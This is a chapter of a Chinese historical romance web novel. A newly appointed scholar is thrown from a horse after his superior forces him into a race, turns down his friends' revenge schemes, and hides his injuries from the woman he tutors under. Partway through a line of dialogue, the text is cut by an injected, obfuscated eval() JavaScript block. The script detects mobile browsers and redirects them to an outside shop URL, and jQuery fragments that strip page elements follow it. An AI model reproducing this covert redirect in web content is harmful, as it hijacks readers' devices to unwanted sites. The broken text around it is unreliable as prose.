几日后。
穆卿云难得得了空闲,趁着精神还好,披着氅衣在院中慢慢踱步。
知微跟在身侧,絮絮叨叨地说着府里这几日的琐事。
路过草木葱茏的花园,穆卿云脚步忽然顿住,目光落在了不远处的秋千上。
知微顺着她的目光看过去,惊讶地发现那秋千绳索崭新,木板光滑,显然是被换过了。
“小少爷每次心情不好的时候,最喜欢在这里荡秋千。时间长了,绳索磨损得厉害,木板也裂了。”
知微上前摸了摸,疑惑道,“奴婢前几日还说要找人修呢,怎么就已经换新的了?”
穆卿云没有接话,垂下眼睫若有所思。
“小姐,您要坐坐试试吗?新修的,肯定稳当。”知微试探着问。
穆卿云掩唇轻咳了几声,把氅衣又拢紧了些,看了一眼空荡荡的秋千,又收回视线。
“风大,算了。”
初春时节,乍暖还寒,兵部牵头举办了春蒐演武,翰林院也得前去参加。
说是观摩学习,实则各路官员借此机会交际应酬,顺便看看各家子弟的骑射本事。
秦砚本不想来,但院正韩信鸿一句“翰林院上下都要到场”,他也不好推脱,只得跟着同僚们一同前往。
校场上旌旗招展,骏马嘶鸣。几轮箭术比试过后,兵部的人提议来一场赛马助兴。
“诸位翰林院的饱学之士,可有人愿意下场一试?”主持的武官笑着看向翰林院这边。
读书人哪擅长这个?
翰林院众人面面相觑,谁都不愿出头。
韩信鸿却忽然笑了,目光看向人群后方的秦砚。
“秦修撰,本官记得你是寒门出身,乡野长大的孩子,总该会骑马吧?”
秦砚一怔,连忙道:“韩大人,学生确实不会……”
“不会?”
韩信鸿挑了挑眉,背起手道:“自古大丈夫当文武双全,你堂堂新科状元,总不好只会闷在屋里读书吧?”
周围响起几声低低的笑。
秦砚攥紧了袖口,还想再推辞,韩信鸿却已经转头对那武官喊道:“我们翰林院有人愿意下场,就秦修撰了!”
秦砚脸色微变,明白自己已经没有退路,只好硬着头皮出列。
马被牵上来的时候,秦砚心里顿时咯噔一下。
那是一匹性子烈的枣红马,还没靠近就打着响鼻刨蹄子,一看就不是新手能驾驭的。
他硬着头皮踩上马镫,试了几次才勉强爬上马背,姿势狼狈又别扭。
校场边上,已经有人开始交头接耳,捂着嘴笑。
“这就是新科状元?”
“听说还是相府的姑爷呢,连马都不会骑……”
秦砚听见那些讥笑声,面上不动声色,只是握紧缰绳,尽力稳住身子。
鼓声一响,几匹马同时冲出。
秦砚伏在马背上,根本不敢催马快跑,只求能稳稳当当跑完一圈,别出丑就行。
然而刚跑出半程,旁边一匹马忽然贴近,马背上的年轻武官冲他咧嘴一笑,然后抬手扬鞭,狠狠抽向秦砚的马屁股。
枣红马吃痛,长嘶一声,猛地向前一蹿。
秦砚猝不及防,身子猛地后仰,整个人直接从马背上栽了下去。
“砰”的一声闷响,他重重摔在地上,后背先着地,摔得眼冒金星,半天喘不上气。
那匹枣红马跑出几步,又停下来,低头嗅了嗅他,然后若无其事地踱开了。
校场上静了一瞬,随即爆发出震天的哄笑。
“哈哈哈!这就是翰林院的状元?”
“摔得可真够漂亮的!”
“秦大人,还能动吗?要不要扶你起来啊?”
秦砚躺在地上,望着灰蒙蒙的天,大口喘着气。
后背疼得几乎动不了,但他还是咬紧牙关,慢慢撑着地面,一点一点坐了起来。
校场边,韩信鸿负手而立,捋着胡须哼笑道:“年轻人,多摔几次就会了。”
“砰!”
僻静的茶楼里,虞英才一巴掌拍在尹都新换的桌子上,震得桌上的杯碟哐当一声,尹都的心也跟着一颤。
“那韩信鸿摆明了就是想当众给你难堪,简直欺人太甚!”
秦砚鼻子里塞着止血的的布条,龇牙咧嘴地揉着自己背上的伤处,“我知道,但有什么办法呢?他是翰林院院正,是我的顶头上司,我还能公然抗命不成?”
“岂有此理!我去找他理论,帮你讨个公道!”
尹都一边低头查看自己的桌子有没有裂纹,一边凉凉泼冷水:“那韩信鸿可是正五品大官,你爹到人家面前都不够看的,你还能怎么着?”
“我……”
虞英才一时语塞,“那总不能就这么算了吧?要是这口气都能咽下去,那往后秦兄还怎么在翰林院里立足?”
“怎么立足?夹起尾巴做人呗!身为相府的人,却在翰林院当差,不忍气吞声能怎么办?”
尹都瞪了他一眼,转头看向秦砚,“你也是的,又没摔着脸,这鼻血怎么还止不住了?”
秦砚仰着头瓮声瓮气道:“兴许是这几日人参汤喝多了,有点上火吧。”
尹都扯开他的后领看了一眼,发现脊背上已经是一片青紫。
“你这要找大夫看看吧?至少也买点跌打药酒擦一擦,不然还有的受。”
秦砚摇摇头:“算了,药酒味道重,让穆小姐发现就不好了。”
尹都一听,当即翻了个白眼:“都什么时候了还惦记你的穆小姐!”
虞英才却忽然凑过来,压低声音道:“秦兄,我有个主意!”
秦砚扭头看他,总觉得这表情不太妙。
“你听我说啊,”虞英才神秘兮兮地环顾四周,确认没人偷听,才继续道,“那韩信鸿不是仗着自己是院正欺负你吗?咱们就给他来个以牙还牙!”
“怎么个以牙还牙?”
“你也让他摔一跤!”
秦砚愣住:“……”
虞英才越说越来劲,“他不是喜欢看人出丑吗?咱们就让他也尝尝从马背上摔下来的滋味!”
秦砚扶额:“虞公子,那是翰林院院正,我怎么能……”
“你动手隐蔽一点,谁知道是你干的!”
虞英才挤眉弄眼,“我认识几个太仆寺的兄弟,到时候帮你在韩信鸿的马鞍上动点手脚,保证让他摔得人仰马翻!”
尹都放下茶壶,幽幽道:“虞公子,你这是想让秦砚死得更快吧?”
“怎么会?神不知鬼不觉……”
“在马鞍上动手脚,要是被查出来怎么办?就算查不出来,韩信鸿摔了,第一个会怀疑谁?”
尹都翻了个白眼,“秦砚今天刚被算计,明天韩大人就摔了,你是当别人都傻还是当秦砚命长?”
虞英才眨了眨眼,显然没想这么深。
“那……那就换个法子!”他一拍大腿,“要不咱们买通翰林院的厨子,在他饭里下巴豆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524726|203439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”
“虞公子,你饶了我吧,”秦砚哭笑不得,站起身来,“天色不早了,我得先走了。”
回到相府,秦砚一路低头避着人,生怕被人看出异样。
可谁知刚绕过回廊,却迎面碰见了下朝归来的穆相。
穆相的院落在相府的另一侧,通常也不会路过这里,所以秦砚完全没料到会撞上他。
此刻避无可避,他只得硬着头皮上前,恭敬行礼:“见过相爷。”
穆相瞥了他一眼,不咸不淡地“嗯”了一声,好在也没有多问,只是径直往正院去了。
秦砚松了口气,不敢多做停留,连忙走向沁芳院的书房。
戌时三刻,是秦砚每日固定来找穆卿云请教课业的时间。
穆卿云刚批完案头的最后一份折子,揉了揉胀痛的额头,问:“什么时辰了?秦大人还没来?”
知微轻柔地帮她按着肩,答道:“兴许是翰林院有事耽误了吧,秦大人一向都很准时的。”
两人正说着,就听见房门被敲响,秦砚的声音在门外响起。
“穆小姐,晚生来迟了。”
穆卿云按了按眼角,打起精神:“进来吧。”
秦砚轻手轻脚推开门,进门后便老老实实站在门边。
知微抿唇一笑,躬身退下,顺便帮他们带上了门。
秦砚撑着扶手,在书案对面缓缓坐下,从袖中取出几页写得密密麻麻的纸张,双手递了过去。
“这是小姐上次交代的关于漕运整顿的札记,晚生已经读完了那几卷卷宗,写了一些浅见,请小姐过目。”
穆卿云接过,垂眸细细翻阅。
秦砚端坐着,目光却有些飘忽。后背的伤处隐隐作痛,让他不敢坐得太实,只能微微侧着身子,姿势别扭得很。
穆卿云看得认真,唇角微微弯了弯。
“这一处关于分段运输的建议,倒是有些新意。”
她抬眸看他,“是你自己想出来的?”
秦砚点点头:“晚生查阅前朝旧案时发现,漕运之弊常在于一船到底,一旦中途出问题,整批货物都要延误。若能分段接运,各负其责,或许能减少些风险。”
穆卿云微微颔首,又指出了几处可以再斟酌的地方,秦砚一一记下。
不知不觉,窗外的天色又暗了几分。
秦砚起身,把写满批注的纸张仔细收好,然后躬身行礼:“多谢小姐指点,晚生回去再改。天色不早了,小姐早些歇息,晚生告退。”
穆卿云微微一怔。
这就走了?
往常这人来请教课业,总是借着各种由头磨蹭到很晚。一会儿问这个问题,一会儿又问那个典故,书读完了还要讨杯茶喝,喝完茶又说什么“方才那处没太明白”,非要再问一遍。
知微私下里笑过好几回,说姑爷这是舍不得走呢。
今日怎么……
穆卿云抬眸看他,目光在他脸上停了一瞬,忽然察觉出几分异样。
他的脸色似乎比平日里苍白了些,眼下也有些青痕,像是没休息好。
“秦大人。”
秦砚脚步一顿,回头看她。
穆卿云张了张嘴,想问什么,终究只是淡淡道:“回去早些休息吧,平日里若是有什么需要我帮忙的,尽管开口便是。”
秦砚愣了愣,连忙拱手道:“是,多谢小姐关心。”
房门轻轻关上。
穆卿云望着那道门,眉心微微蹙起,总觉得哪里有些奇怪。